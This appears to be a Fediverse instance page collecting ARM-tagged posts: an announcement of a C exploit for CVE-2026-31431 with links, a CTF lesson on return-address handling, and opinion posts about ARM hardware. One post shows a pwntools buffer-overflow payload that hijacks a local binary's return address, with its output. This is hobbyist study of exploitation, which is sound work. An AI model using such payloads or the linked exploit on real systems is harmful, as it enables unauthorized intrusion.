schmonz.com is a Fediverse instance that uses the ActivityPub protocol. In other words, users at this host can communicate with people that use software like Mastodon, Pleroma, Friendica, etc. all around the world.
This server runs the snac software and there is no automatic sign-up process.
code.fail: C Version with x86+ARM shellcode
Here is an exploit written in C for the the copy.fail (https://copy.fail/, CVE-2026-31431) vulnerability. The embedded shellcode works on other CPUs than X86, with ARM as a primary target.
Code: https://github.com/huberteff/copy-fail-CVE-2026-31431/
Technical writeup: https://www.feyrer.de/redir/copy.fail-C-version-Writeup.html
The exploit includes cpu-specific shell code (ELF). I have the toolchain working to build working shell code and the exploit binary on both Linux/86 and Linux/ARM, but the exploit doesn't work out of the box on ARM.
Anyone got further details if this vulnerability is only valid for x86?
Learn something new every day! Today's lesson: a fundamental difference between x86 and ARM is how the return address for a function call is passed. The x86 CALL puts it on the stack, while ARM puts it not on the stack but in a register (Link Register LR, X30).
Now today's lesson comes from TAMUCTF2026, and it is about MIPS. There, the return address is also passed as register, just like on ARM. On MIPS, it's the Return Address register ($RA / $31).
pwning NetBSD-aarch64 (ARM)
- http://www.feyrer.de/NetBSD/blog.html/nb_20260308_1932.html
#pwn #binaryexploitation #ctf #cybersecurity #pwntools #gdb #netbsd #arm #aarch64
boostedThis afternoon's fun: pwning NetBSD-aarch64 (ARM)
(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
What is your name? Hello AAAAAAAAAAAAAAAAοΏ½
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm
#pwn #netbsd #binaryexploitation #arm #aarch64 #pwntools #gdb #ctf
boostedTestdriving NetBSD-11.0RC2 on ARM hardware (in VM!)
Yooooo, this is exciting. I've always written off #arm #chomebook as un-saveable since they can't be jailbroken with MrChomebox.
I just got like 50 of these Asus C100P arm chromebooks that are "expired". Digging around, it looks like #postmarketOS will run on this!
Still stuff to figure out but DAMN this is promising. Being able to save even ARM chromebooks is epic. Dammit I love #linux and #openSource
I'm looking at two #ARM devices sitting on my dresser, both tablets.
One is a locked-down piece of garbage, designed to be a locked-down piece of garbage. I regret buying it, because its utility is obscured by the horrible software stack on it, but it was stupidly cheap, an easy fire-and-forget purchasing decision.
The other is a lovely piece of open hardware, designed for openness, designed for linux. It was graciously sent to me by a #fedifriend last year. It is sadly out of support from the distro that supported it, and is basically stuck at nearly 10-year-old software versions without any path for an upgrade, unless I do some insane skill levelling-up and do an ARM #LFS on it, or something else nearly as hacky.
Both devices are sadly useless to me, even though one was designed to be a closed surveillance helldevice, and the other an open platform.
This is because ARM sucks. It has always sucked, and it will always suck. There are no open hardware interface standards, no easy way to address the hardware with FOSS drivers, and even when you do have FOSS software for it, it rarely finds its way upstream. The hardware itself is inspired, but the software/firmware/driver stack is utterly Kafkaesque.
I'm not going to belittle folks who get Apple Silicon devices to run linux on them, nor would I ever besmirch the heroic, herculean efforts of the #Asahi team to get linux working on that hardware, but please never forget that those are herculean efforts, and should they ever cease, your hardware support is dead in the water.
As for me, I'd rather have a thermal-belching, potato-performant Intel Atom-based brickphone than a sleek, battery-sipping, crazy-performant ARM laptop. π